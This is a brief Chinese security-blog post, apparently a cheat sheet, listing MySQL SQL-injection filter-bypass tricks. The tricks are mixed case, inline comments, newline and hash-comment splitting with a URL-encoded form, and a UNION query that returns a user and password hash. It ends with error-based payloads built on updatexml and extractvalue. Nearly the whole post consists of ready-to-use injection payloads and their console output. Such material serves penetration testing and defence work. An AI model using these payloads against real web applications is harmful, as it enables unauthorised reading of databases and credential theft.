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所属分类:Seay信息安全博客
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1、转换大小写
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mysql> SeLECt 1,2; + ---+---+ | 1 | 2 | + ---+---+ | 1 | 2 | + ---+---+ 1 row in set (0.02 sec) |
2、内联注释
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mysql> /*! select *//**/1,2; + ---+---+ | 1 | 2 | + ---+---+ | 1 | 2 | + ---+---+ 1 row in set (0.00 sec) |
3、换行
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mysql> select
-> #abc
-> 1,
-> 2
-> #abc
-> ; + ---+---+ | 1 | 2 | + ---+---+ | 1 | 2 | + ---+---+ 1 row in set (0.06 sec) |
url—->select%0a%23abc%0a1,%0a2#23abc
4、表后面加xxx
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mysql> select user , password from user xxx union select (1),(2); + ------+-------------------------------------------+ | user | password | + ------+-------------------------------------------+ | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | | 1 | 2 | + ------+-------------------------------------------+ 2 rows in set (0.08 sec) |
5、冷门函数
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and 1=(updatexml(1,concat(0x5c,( select user ()),0x5c),1)) and extractvalue(1, concat(0x5c, ( select user ()),0x5c)); |
不过这两条语句要报错模式,msyql版本大于5.1
ps:后续更新。
by qingsh4n
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